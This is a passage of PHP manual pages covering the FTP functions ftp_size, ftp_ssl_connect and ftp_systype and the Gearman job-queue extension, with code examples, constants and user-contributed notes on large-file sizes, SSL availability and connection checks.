$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// get the size of $file
$res = ftp_size($conn_id, $file);

if ($res != -1) {
    echo "size of $file is $res bytes";
} else {
    echo "couldn't get the size";
}

// close the connection
ftp_close($conn_id);

?>

See Also

  • ftp_rawlist() - Returns a detailed list of files in the given directory

User Contributed Notes

ibeono at gmail dot com 28-Jul-2011 04:19
If you experience troubles with size of large file then you can use ftp_rawlist function and parse it result
bluerain [at] telenet [dot] be 10-Jul-2009 01:41
To overcome the 2GB file size limit, you can open your own socket to get the file size of a large file. Quick and dirty script:

<?php
$socket=fsockopen($hostName, 21);
$t=fgets($socket, 128);
fwrite($socket, "USER $myLogin\r\n");
$t=fgets($socket, 128);
fwrite($socket, "PASS $myPass\r\n");
$t=fgets($socket, 128);
fwrite($socket, "SIZE $fileName\r\n");
$t=fgets($socket, 128);
$fileSize=floatval(str_replace("213 ","",$t));
echo $fileSize;
fwrite($socket, "QUIT\r\n");
fclose($socket);
?>
miccots at gmail dot com 30-Oct-2007 01:55
2 adams[AT]techweavers[DOT]net:
To get a size of large file (f. ex.: 3.2 Gb) you have to format the result returned by ftp_size():

$size = sprintf ("%u", ftp_size($connection, $file_name));

So you can get the real size of big files. But this method is not good for checking is this a dir (when ftp_size() returns -1).
C_Muller 21-Jul-2007 03:42
For checking if a certain folder exists try using ftp_nlist() function to get a directory list in array. By using in_array('foldername') you can find out if it is there or not.
chuck at t8design dot com 23-May-2006 09:54
note that project_t4 at hotmail dot com's example above doesn't work in general, though it works on his Win2K/Apache server; as far as I can tell there is no way to check over ftp whether a directory exists.  This function's behavior given a directory name seems to be at least somewhat dependent on your OS, web server, or ftp server, I don't know which.
adams[AT]techweavers[DOT]net 21-Jun-2005 02:30
Well this function is nice but if you have files larger then 2.1Gb or 2.1 Billion Bytes you cannot get its size.
28-Sep-2004 06:10
To get a dirsize recursive you can use this simple function:

<?php # copyright by fackelkind | codeMaster
    function getRecDirSize ($connection, $dir){
        $temp = ftp_rawlist ($connection, "-alR $dir");
        foreach ($temp as $file){
            if (ereg ("([-d][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)", $file, $regs)){
                $isdir = (substr ($regs[1],0,1) == "d");
                if (!$isdir)
                    $size += $regs[5];
            }
        }
        return $size;
    }
    $dirSize = getRecDirSize ($conID, "/");
?>
project_t4 at hotmail dot com 18-Mar-2004 11:03
Just to let people out there know, on my windows 2000 server running Apache and php i was returned 0 not -1 for directories.

foreach ($dir_list as $item)
    {
      if(ftp_size($conn_id, $item) == "0")
      {
      echo "<br>Directory:: ".$item;
      } else {
      echo "<br>File:: ".$item;
      }
    }

This outputs a list of the remote directory and indicates which items are directories and which are files.
nicke_ at at_h9k dot com 03-Oct-2003 06:48
This will return the filesize on remote host and the size if you download it in FTP_BINARY mode. If you are using FTP_ASCII in ftp_get() the size can be changed.
victor59 at yahoo dot com dot hk 23-Dec-2002 01:44
$file= 'filename with space.txt';
$size = ftp_size($this->ftp, urldecode($file) );

this one can correctly return the size
otherwize, it always return -1
ftp_site
ftp_ssl_connect
FTP Functions


Opens an Secure SSL-FTP connection

ftp_size
ftp_systype
FTP Functions
PHP Manual

ftp_ssl_connect

(PHP 4 >= 4.3.0, PHP 5)

ftp_ssl_connect — Opens an Secure SSL-FTP connection

Description

resource ftp_ssl_connect ( string $host [, int $port = 21 [, int $timeout = 90 ]] )

ftp_ssl_connect() opens an explicit SSL-FTP connection to the specified host.

Note: Why this function may not exist

ftp_ssl_connect() is only available if both the ftp module and the OpenSSL support is built statically into php, this means that on Windows this function will be undefined in the official PHP builds. To make this function available on Windows you must compile your own PHP binaries.

Note:

ftp_ssl_connect() is not intended for use with sFTP. To use sFTP with PHP, please see ssh2_sftp().

Parameters

host

The FTP server address. This parameter shouldn't have any trailing slashes and shouldn't be prefixed with ftp://.

port

This parameter specifies an alternate port to connect to. If it is omitted or set to zero, then the default FTP port, 21, will be used.

timeout

This parameter specifies the timeout for all subsequent network operations. If omitted, the default value is 90 seconds. The timeout can be changed and queried at any time with ftp_set_option() and ftp_get_option().

Return Values

Returns a SSL-FTP stream on success or FALSE on error.

Changelog

Version | Description
5.2.2 | The function was changed to return FALSE when it can't use an SSL connection, instead of fallbacking to a non-SSL one as previously.

Examples

Example #1 ftp_ssl_connect() example

<?php

// set up basic ssl connection
$conn_id = ftp_ssl_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

echo ftp_pwd($conn_id); // /

// close the ssl connection
ftp_close($conn_id);
?>

See Also

  • ftp_connect() - Opens an FTP connection

User Contributed Notes

mmm3567 at gmail dot com 19-Dec-2011 04:27
Something that isn't mentioned above is that although ftp_ssl_connect may be available and will return an FTP stream it may not be usable. Take the following code (FTP login credentials are obviously set elsewhere):

<?php
var_dump(function_exists('ftp_ssl_connect'));
if(function_exists('ftp_ssl_connect'))
{
    $ftp_connection = @ftp_ssl_connect($this->ftp_host);
}
else
{
    $ftp_connection = @ftp_connect($this->ftp_host);
}
var_dump($ftp_connection);
if($ftp_connection)
{
    ftp_login($ftp_connection, $this->ftp_user, $this->ftp_password);
}
// output: bool(true) resource(71) of type (FTP Buffer)
?>

From this you'd assume everything would work, ftp_ssl_connect is available and you have a connection. However, once you get to ftp_login, you could get this:

Warning [2] ftp_login() [function.ftp-login]: AUTH not understood

This is because the server is not configured to understand the encrypted details, even though the function is available and an SSL-FTP stream was opened.

If you are trying to use ftp_ssl_connect make sure you check if you can login after using it, and if not, connect again with standard ftp_connect.

Hope this is of use.
philip at php dot net 15-Jul-2004 06:08
Since ftp_ssl_connect() requires SSL compiled into PHP, Windows users will need to compile their own PHP this way or download it from another source.  Here's one such (and trusted) source:
* http://ftp.emini.dk/pub/php/win32/openssl/
ftp_size
ftp_systype
FTP Functions


Returns the system type identifier of the remote FTP server

ftp_ssl_connect
Gearman
FTP Functions
PHP Manual

ftp_systype

(PHP 4, PHP 5)

ftp_systype — Returns the system type identifier of the remote FTP server

Description

string ftp_systype ( resource $ftp_stream )

Returns the system type identifier of the remote FTP server.

Parameters

ftp_stream

The link identifier of the FTP connection.

Return Values

Returns the remote system type, or FALSE on error.

Examples

Example #1 ftp_systype() example

<?php

// ftp connection
$ftp = ftp_connect('ftp.example.com');
ftp_login($ftp, 'user', 'password');

// get the system type
if ($type = ftp_systype($ftp)) {
    echo "Example.com is powered by $type\n";
} else {
    echo "Couldn't get the systype";
}

?>

The above example will output something similar to:

Example.com is powered by UNIX

User Contributed Notes

jgbreezer at NOSPAM dot gmail dot com 07-Apr-2008 04:21
ftp_systype does NOT appear to be a reliable way to detect whether it is connected, as at least for a local network connection I have here to a Windows ftp server, it can succeed without a working connection (is it cached?). Don't know if this is specific to our ftp server - perhaps it doesn't behave well when it times out links.
Buckwheat469 at hotmail dot com 26-Jul-2006 09:41
ftp_systype can be a good way of checking the state of a connection, since PHP doesn't have a better system to check the state of an ftp connection (is_connected would be nice).

if (!($type = ftp_systype($conn_id))) {
    echo "FTP connection has failed! Trying again.\n";
    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user, $ftp_pass);
}
ftp_ssl_connect
Gearman
FTP Functions


Gearman

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
    • Basic Gearman client and worker, background
    • Basic Gearman client and worker, submitting tasks
  • GearmanClient — The GearmanClient class
    • GearmanClient::addOptions — Add client options
    • GearmanClient::addServer — Add a job server to the client
    • GearmanClient::addServers — Add a list of job servers to the client
    • GearmanClient::addTask — Add a task to be run in parallel
    • GearmanClient::addTaskBackground — Add a background task to be run in parallel
    • GearmanClient::addTaskHigh — Add a high priority task to run in parallel
    • GearmanClient::addTaskHighBackground — Add a high priority background task to be run in parallel
    • GearmanClient::addTaskLow — Add a low priority task to run in parallel
    • GearmanClient::addTaskLowBackground — Add a low priority background task to be run in parallel
    • GearmanClient::addTaskStatus — Add a task to get status
    • GearmanClient::clearCallbacks — Clear all task callback functions
    • GearmanClient::clone — Create a copy of a GearmanClient object
    • GearmanClient::__construct — Create a GearmanClient instance
    • GearmanClient::context — Get the application context
    • GearmanClient::data — Get the application data (deprecated)
    • GearmanClient::do — Run a single task and return a result [deprecated]
    • GearmanClient::doBackground — Run a task in the background
    • GearmanClient::doHigh — Run a single high priority task
    • GearmanClient::doHighBackground — Run a high priority task in the background
    • GearmanClient::doJobHandle — Get the job handle for the running task
    • GearmanClient::doLow — Run a single low priority task
    • GearmanClient::doLowBackground — Run a low priority task in the background
    • GearmanClient::doNormal — Run a single task and return a result
    • GearmanClient::doStatus — Get the status for the running task
    • GearmanClient::echo — Send data to all job servers to see if they echo it back [deprecated]
    • GearmanClient::error — Returns an error string for the last error encountered.
    • GearmanClient::getErrno — Get an errno value
    • GearmanClient::jobStatus — Get the status of a background job
    • GearmanClient::ping — Send data to all job servers to see if they echo it back
    • GearmanClient::removeOptions — Remove client options
    • GearmanClient::returnCode — Get the last Gearman return code
    • GearmanClient::runTasks — Run a list of tasks in parallel
    • GearmanClient::setClientCallback — Callback function when there is a data packet for a task (deprecated)
    • GearmanClient::setCompleteCallback — Set a function to be called on task completion
    • GearmanClient::setContext — Set application context
    • GearmanClient::setCreatedCallback — Set a callback for when a task is queued
    • GearmanClient::setData — Set application data (deprecated)
    • GearmanClient::setDataCallback — Callback function when there is a data packet for a task
    • GearmanClient::setExceptionCallback — Set a callback for worker exceptions
    • GearmanClient::setFailCallback — Set callback for job failure
    • GearmanClient::setOptions — Set client options
    • GearmanClient::setStatusCallback — Set a callback for collecting task status
    • GearmanClient::setTimeout — Set socket I/O activity timeout
    • GearmanClient::setWarningCallback — Set a callback for worker warnings
    • GearmanClient::setWorkloadCallback — Set a callback for accepting incremental data updates
    • GearmanClient::timeout — Get current socket I/O activity timeout value
  • GearmanJob — The GearmanJob class
    • GearmanJob::complete — Send the result and complete status (deprecated)
    • GearmanJob::__construct — Create a GearmanJob instance
    • GearmanJob::data — Send data for a running job (deprecated)
    • GearmanJob::exception — Send exception for running job (deprecated)
    • GearmanJob::fail — Send fail status (deprecated)
    • GearmanJob::functionName — Get function name
    • GearmanJob::handle — Get the job handle
    • GearmanJob::returnCode — Get last return code
    • GearmanJob::sendComplete — Send the result and complete status
    • GearmanJob::sendData — Send data for a running job
    • GearmanJob::sendException — Send exception for running job (exception)
    • GearmanJob::sendFail — Send fail status
    • GearmanJob::sendStatus — Send status
    • GearmanJob::sendWarning — Send a warning
    • GearmanJob::setReturn — Set a return value
    • GearmanJob::status — Send status (deprecated)
    • GearmanJob::unique — Get the unique identifier
    • GearmanJob::warning — Send a warning (deprecated)
    • GearmanJob::workload — Get workload
    • GearmanJob::workloadSize — Get size of work load
  • GearmanTask — The GearmanTask class
    • GearmanTask::__construct — Create a GearmanTask instance
    • GearmanTask::create — Create a task (deprecated)
    • GearmanTask::data — Get data returned for a task
    • GearmanTask::dataSize — Get the size of returned data
    • GearmanTask::function — Get associated function name (deprecated)
    • GearmanTask::functionName — Get associated function name
    • GearmanTask::isKnown — Determine if task is known
    • GearmanTask::isRunning — Test whether the task is currently running
    • GearmanTask::jobHandle — Get the job handle
    • GearmanTask::recvData — Read work or result data into a buffer for a task
    • GearmanTask::returnCode — Get the last return code
    • GearmanTask::sendData — Send data for a task (deprecated)
    • GearmanTask::sendWorkload — Send data for a task
    • GearmanTask::taskDenominator — Get completion percentage denominator
    • GearmanTask::taskNumerator — Get completion percentage numerator
    • GearmanTask::unique — Get the unique identifier for a task
    • GearmanTask::uuid — Get the unique identifier for a task (deprecated)
  • GearmanWorker — The GearmanWorker class
    • GearmanWorker::addFunction — Register and add callback function
    • GearmanWorker::addOptions — Add worker options
    • GearmanWorker::addServer — Add a job server
    • GearmanWorker::addServers — Add job servers
    • GearmanWorker::clone — Create a copy of the worker
    • GearmanWorker::__construct — Create a GearmanWorker instance
    • GearmanWorker::echo — Test job server response
    • GearmanWorker::error — Get the last error encountered
    • GearmanWorker::getErrno — Get errno
    • GearmanWorker::options — Get worker options
    • GearmanWorker::register — Register a function with the job server
    • GearmanWorker::removeOptions — Remove worker options
    • GearmanWorker::returnCode — Get last Gearman return code
    • GearmanWorker::setOptions — Set worker options
    • GearmanWorker::setTimeout — Set socket I/O activity timeout
    • GearmanWorker::timeout — Get socket I/O activity timeout
    • GearmanWorker::unregister — Unregister a function name with the job servers
    • GearmanWorker::unregisterAll — Unregister all function names with the job servers
    • GearmanWorker::wait — Wait for activity from one of the job servers
    • GearmanWorker::work — Wait for and perform jobs

User Contributed Notes

There are no user contributed notes for this page.
ftp_systype
Introduction
Other Services


Introduction

» Gearman is a generic application framework for farming out work to multiple machines or processes. It allows applications to complete tasks in parallel, to load balance processing, and to call functions between languages. The framework can be used in a variety of applications, from high-availability web sites to the transport of database replication events.

This extension provides classes for writing Gearman clients and workers.

User Contributed Notes

There are no user contributed notes for this page.
Gearman
Installing/Configuring
Gearman


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Gearman


Requirements

This extension requires the » libgearman library and a running Gearman server.

User Contributed Notes

lphuberdeau at lphuberdeau dot com 05-Jan-2010 06:24
Installing the pecl extension also required to install development packages for libevent and uuid. Those dependencies were not verified by the configuration step, resulting in rather cryptic errors.

On ubuntu:
sudo apt-get install libev-libevent-dev uuid-dev
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/gearman

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Return values. Always check GearmanClient::error() or GearmanWorker() for a string error, as it may contain more details:

GEARMAN_SUCCESS (integer)
Whatever action was taken was successful.
GEARMAN_IO_WAIT (integer)
When in non-blocking mode, an event is hit that would have blocked.
GEARMAN_ERRNO (integer)
A system error. Check GearmanClient::errno() or GearmanWorker::errno() for the system error code that was returned.
GEARMAN_NO_ACTIVE_FDS (integer)
GearmanClient::wait() or GearmanWorker() was called with no connections.
GEARMAN_UNEXPECTED_PACKET (integer)
Indicates something going very wrong in gearmand. Applies only to GearmanWorker.
GEARMAN_GETADDRINFO (integer)
DNS resolution failed (invalid host, port, etc).
GEARMAN_NO_SERVERS (integer)
Did not call GearmanClient::addServer() before submitting jobs or tasks.
GEARMAN_LOST_CONNECTION (integer)
Lost a connection during a request.
GEARMAN_MEMORY_ALLOCATION_FAILURE (integer)
Memory allocation failed (ran out of memory).
GEARMAN_SERVER_ERROR (integer)
Something went wrong in the Gearman server and it could not handle the request gracefully.
GEARMAN_WORK_DATA (integer)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Sent to update the client with data from a running job. A worker uses this when it needs to send updates, send partial results, or flush data during long running jobs.
GEARMAN_WORK_WARNING (integer)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Updates the client with a warning. The behavior is just like GEARMAN_WORK_DATA, but should be treated as a warning instead of normal response data.
GEARMAN_WORK_STATUS (integer)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Sent to update the status of a long running job. Use GearmanClient::doStatus() to obtain the percentage complete of the task.
GEARMAN_WORK_EXCEPTION (integer)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Indicates that a job failed with a given exception.
GEARMAN_WORK_FAIL (integer)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Indicates that the job failed.
GEARMAN_COULD_NOT_CONNECT (integer)
Failed to connect to servers.
GEARMAN_INVALID_FUNCTION_NAME (integer)
Trying to register a function name of NULL or using the callback interface without specifying callbacks.
GEARMAN_INVALID_WORKER_FUNCTION (integer)
Trying to register a function with a NULL callback function.
GEARMAN_NO_REGISTERED_FUNCTIONS (integer)
When a worker gets a job for a function it did not register.
GEARMAN_NO_JOBS (integer)
For a non-blocking worker, when GearmanWorker::work() does not have any active jobs.
GEARMAN_ECHO_DATA_CORRUPTION (integer)
After GearmanClient::echo() or GearmanWorker::echo() the data returned doesn't match the data sent.
GEARMAN_NEED_WORKLOAD_FN (integer)
When the client opted to stream the workload of a task, but did not specify a workload callback function.
GEARMAN_PAUSE (integer)
For the non-blocking client task interface, can be returned from the task callback to "pause" the call and return from GearmanClient::runTasks(). Call GearmanClient::runTasks() again to continue.
GEARMAN_UNKNOWN_STATE (integer)
Internal client/worker state error.
GEARMAN_SEND_BUFFER_TOO_SMALL (integer)
Internal error: trying to flush more data in one atomic chunk than is possible due to hard-coded buffer sizes.
GEARMAN_TIMEOUT (integer)
Hit the timeout limit set by the client/worker.

GearmanClient options:

GEARMAN_CLIENT_NON_BLOCKING (integer)
Run the cient in a non-blocking mode.
GEARMAN_CLIENT_UNBUFFERED_RESULT (integer)
Allow the client to read data in chunks rather than have the library buffer the entire data result and pass that back.
GEARMAN_CLIENT_FREE_TASKS (integer)
Automatically free task objects once they are complete. This is the default setting in this extension to prevent memory leaks.

GearmanWorker options:

GEARMAN_WORKER_NON_BLOCKING (integer)
Run the worker in non-blocking mode.
GEARMAN_WORKER_GRAB_UNIQ (integer)
Return the client assigned unique ID in addition to the job handle.

Base Gearman configuration:

GEARMAN_DEFAULT_TCP_HOST (string)
GEARMAN_DEFAULT_TCP_PORT (integer)
GEARMAN_DEFAULT_SOCKET_TIMEOUT (integer)
GEARMAN_DEFAULT_SOCKET_SEND_SIZE (integer)
GEARMAN_DEFAULT_SOCKET_RECV_SIZE (integer)
GEARMAN_MAX_ERROR_SIZE (integer)
GEARMAN_PACKET_HEADER_SIZE (integer)
GEARMAN_JOB_HANDLE_SIZE (integer)
GEARMAN_OPTION_SIZE (integer)
GEARMAN_UNIQUE_SIZE (integer)
GEARMAN_MAX_COMMAND_ARGS (integer)
GEARMAN_ARGS_BUFFER_SIZE (integer)
GEARMAN_SEND_BUFFER_SIZE (integer)
GEARMAN_RECV_BUFFER_SIZE (integer)
GEARMAN_WORKER_WAIT_TIMEOUT (integer)

User Contributed Notes

Shane Harter 15-Jun-2010 11:30
I looked everywhere for for a dump of the values of each of the gearman constants. I ended up in the gearman source.

You'll find this useful if you ever just echo the return code.

GEARMAN_SUCCESS = 0
GEARMAN_IO_WAIT = 1
GEARMAN_SHUTDOWN = 2
GEARMAN_SHUTDOWN_GRACEFUL = 3
GEARMAN_ERRNO = 4
GEARMAN_EVENT = 5
GEARMAN_TOO_MANY_ARGS = 6
GEARMAN_NO_ACTIVE_FDS = 7
GEARMAN_INVALID_MAGIC = 8
GEARMAN_INVALID_COMMAND = 9
GEARMAN_INVALID_PACKET = 10
GEARMAN_UNEXPECTED_PACKET = 11
GEARMAN_GETADDRINFO = 12
GEARMAN_NO_SERVERS = 13
GEARMAN_LOST_CONNECTION = 14
GEARMAN_MEMORY_ALLOCATION_FAILURE = 15
GEARMAN_JOB_EXISTS = 16
GEARMAN_JOB_QUEUE_FULL = 17
GEARMAN_SERVER_ERROR = 18
GEARMAN_WORK_ERROR = 19
GEARMAN_WORK_DATA = 20
GEARMAN_WORK_WARNING = 21
GEARMAN_WORK_STATUS = 22
GEARMAN_WORK_EXCEPTION = 23
GEARMAN_WORK_FAIL = 24
GEARMAN_NOT_CONNECTED = 25
GEARMAN_COULD_NOT_CONNECT = 26
GEARMAN_SEND_IN_PROGRESS = 27
GEARMAN_RECV_IN_PROGRESS = 28
GEARMAN_NOT_FLUSHING = 29
GEARMAN_DATA_TOO_LARGE = 30
GEARMAN_INVALID_FUNCTION_NAME = 31
GEARMAN_INVALID_WORKER_FUNCTION = 32
GEARMAN_NO_REGISTERED_FUNCTIONS = 33
GEARMAN_NO_JOBS = 34
GEARMAN_ECHO_DATA_CORRUPTION = 35
GEARMAN_NEED_WORKLOAD_FN = 36
GEARMAN_PAUSE = 37
GEARMAN_UNKNOWN_STATE = 38
GEARMAN_PTHREAD = 39
GEARMAN_PIPE_EOF = 40
GEARMAN_QUEUE_ERROR = 41
GEARMAN_FLUSH_DATA = 42
GEARMAN_SEND_BUFFER_TOO_SMALL = 43
GEARMAN_IGNORE_PACKET = 44
GEARMAN_UNKNOWN_OPTION = 45
GEARMAN_MAX_RETURN = 46
Resource Types
Examples
Gearman


Examples

Table of Contents

  • Basic usage
  • Basic Gearman client and worker, background
  • Basic Gearman client and worker, submitting tasks

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
Gearman


Basic usage

Example #1 Basic Gearman client and worker

This example shows a very simple client and worker. The client sends a string to the job server, and the worker reverses the string and sends it back. The job is performed synchronously.

<?php

# Create our client object.
$gmclient= new GearmanClient();

# Add default server (localhost).
$gmclient->addServer();

echo "Sending job\n";

# Send reverse job
do
{
  $result = $gmclient->do("reverse", "Hello!");

  # Check for various return packets and errors.
  switch($gmclient->returnCode())
  {
    case GEARMAN_WORK_DATA:
      echo "Data: $result\n";
      break;
    case GEARMAN_WORK_STATUS:
      list($numerator, $denominator)= $gmclient->doStatus();
      echo "Status: $numerator/$denominator complete\n";
      break;
    case GEARMAN_WORK_FAIL:
      echo "Failed\n";
      exit;
    case GEARMAN_SUCCESS:
      break;
    default:
      echo "RET: " . $gmclient->returnCode() . "\n";
      exit;
  }
}
while($gmclient->returnCode() != GEARMAN_SUCCESS);

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
    $job->sendStatus($x, $workload_size);
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

# A much simpler and less verbose version of the above function would be:
function reverse_fn_fast($job)
{
  return strrev($job->workload());
}

?>

The above example will output something similar to:

% php reverse_worker.php
Starting
Waiting for job...
Received job: H:foo.local:36
Workload: Hello! (6)
Sending status: 1/6 complete
Sending status: 2/6 complete
Sending status: 3/6 complete
Sending status: 4/6 complete
Sending status: 5/6 complete
Sending status: 6/6 complete
Result: !olleH

% php reverse_client.php
Starting
Sending job
Status: 1/6 complete
Status: 2/6 complete
Status: 3/6 complete
Status: 4/6 complete
Status: 5/6 complete
Status: 6/6 complete
Success: !olleH

User Contributed Notes

There are no user contributed notes for this page.
Examples
Basic Gearman client and worker, background
Examples


Basic Gearman client and worker, background

Example #1 Basic Gearman client and worker, background

This example shows a very simple client and worker. The client sends a string to the job server as a background job, and the worker reverses the string. Note that since the work is performed asynchronously, the client does not wait for the job to complete and exits (and hence the client never receives the results).

<?php

# create our client object
$gmclient= new GearmanClient();

# add the default server (localhost)
$gmclient->addServer();

# run reverse client in the background
$job_handle = $gmclient->doBackground("reverse", "this is a test");

if ($gmclient->returnCode() != GEARMAN_SUCCESS)
{
  echo "bad return code\n";
  exit;
}

echo "done!\n";

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
    $job->sendStatus($x, $workload_size);
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

# A much simpler and less verbose version of the above function would be:
function reverse_fn_fast($job)
{
  return strrev($job->workload());
}

?>

The above example will output something similar to:

% php reverse_worker.php
Starting
Waiting for job...
Received job: H:foo.local:41
Workload: this is a test (14)
1/14 complete
2/14 complete
3/14 complete
4/14 complete
5/14 complete
6/14 complete
7/14 complete
8/14 complete
9/14 complete
10/14 complete
11/14 complete
12/14 complete
13/14 complete
14/14 complete
Result: tset a si siht

% php reverse_client_bg.php
done!

User Contributed Notes

mazzarelli at gmail dot com 21-Sep-2010 03:57
Just FYI, PHP 5.3.2-1ubuntu4.5 with Suhosin-Patch writes out "1/14 complete" 14 times. To make it work like the example claims it does, add parentheses around the addition inside the concatenation inside the worker's loop.
Basic usage
Basic Gearman client and worker, submitting tasks
Examples


Basic Gearman client and worker, submitting tasks

Example #1 Basic Gearman client and worker, submitting tasks

In this exmple, the basic reverse client extended to run two tasks in parallel. The reverse worker is unchanged except to add sending of data back during processing.

<?php

# create the gearman client
$gmc= new GearmanClient();

# add the default server (localhost)
$gmc->addServer();

# register some callbacks
$gmc->setCreatedCallback("reverse_created");
$gmc->setDataCallback("reverse_data");
$gmc->setStatusCallback("reverse_status");
$gmc->setCompleteCallback("reverse_complete");
$gmc->setFailCallback("reverse_fail");

# set some arbitrary application data
$data['foo'] = 'bar';

# add two tasks
$task= $gmc->addTask("reverse", "foo", $data);
$task2= $gmc->addTaskLow("reverse", "bar", NULL);

# run the tasks in parallel (assuming multiple workers)
if (! $gmc->runTasks())
{
    echo "ERROR " . $gmc->error() . "\n";
    exit;
}

echo "DONE\n";

function reverse_created($task)
{
    echo "CREATED: " . $task->jobHandle() . "\n";
}

function reverse_status($task)
{
    echo "STATUS: " . $task->jobHandle() . " - " . $task->taskNumerator() .
         "/" . $task->taskDenominator() . "\n";
}

function reverse_complete($task)
{
    echo "COMPLETE: " . $task->jobHandle() . ", " . $task->data() . "\n";
}

function reverse_fail($task)
{
    echo "FAILED: " . $task->jobHandle() . "\n";
}

function reverse_data($task)
{
    echo "DATA: " . $task->data() . "\n";
}

?>
<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server. Change the worker function to
# "reverse_fn_fast" for a faster worker with no output.
$gmworker->addFunction("reverse", "reverse_fn");

print "Waiting for job...\n";
while($gmworker->work())
{
  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

function reverse_fn($job)
{
  echo "Received job: " . $job->handle() . "\n";

  $workload = $job->workload();
  $workload_size = $job->workloadSize();

  echo "Workload: $workload ($workload_size)\n";

  # This status loop is not needed, just showing how it works
  for ($x= 0; $x < $workload_size; $x++)
  {
    echo "Sending status: " . ($x + 1) . "/$workload_size complete\n";
    $job->sendStatus($x+1, $workload_size);
    $job->sendData(substr($workload, $x, 1));
    sleep(1);
  }

  $result= strrev($workload);
  echo "Result: $result\n";

  # Return what we want to send back to the client.
  return $result;
}

# A much simpler and less verbose version of the above function would be:
function reverse_fn_fast($job)
{
  return strrev($job->workload());
}

?>

The above example will output something similar to:

% php reverse_worker.php
Starting
Waiting for job...
Received job: H:foo.local:45
Workload: foo (3)
1/3 complete
2/3 complete
3/3 complete
Result: oof
Received job: H:foo.local:44
Workload: bar (3)
1/3 complete
2/3 complete
3/3 complete
Result: rab

% php reverse_client_task.php
CREATED: H:foo.local:44
CREATED: H:foo.local:45
STATUS: H:foo.local:45 - 1/3
DATA: f
STATUS: H:foo.local:45 - 2/3
DATA: o
STATUS: H:foo.local:45 - 3/3
DATA: o
COMPLETE: H:foo.local:45, oof
STATUS: H:foo.local:44 - 1/3
DATA: b
STATUS: H:foo.local:44 - 2/3
DATA: a
STATUS: H:foo.local:44 - 3/3
DATA: r
COMPLETE: H:foo.local:44, rab
DONE

User Contributed Notes

There are no user contributed notes for this page.
Basic Gearman client and worker, background
GearmanClient
Examples


The GearmanClient class

(No version information available, might only be in SVN)

Introduction

Represents a class for connecting to a Gearman job server and making requests to perform some function on provided data. The function performed must be one registerd by a Gearman worker and the data passed is opaque to the job server.

Class synopsis

GearmanClient {
/* Methods */
public bool addOptions ( int $options )
public bool addServer ([ string $host = 127.0.0.1 [, int $port = 4730 ]] )
public bool addServers ([ string $servers = 127.0.0.1:4730 ] )
public GearmanTask addTask ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )
public GearmanTask addTaskBackground ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )
public GearmanTask addTaskHigh ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )
public GearmanTask addTaskHighBackground ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )
public GearmanTask addTaskLow ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )
public GearmanTask addTaskLowBackground ( string $function_name , string $workload [, mixed &$context [, string $unique ]] )
public GearmanTask addTaskStatus ( string $job_handle [, string &$context ] )
public bool clearCallbacks ( void )
public GearmanClient clone ( void )
public __construct ( void )
public string context ( void )
public string data ( void )
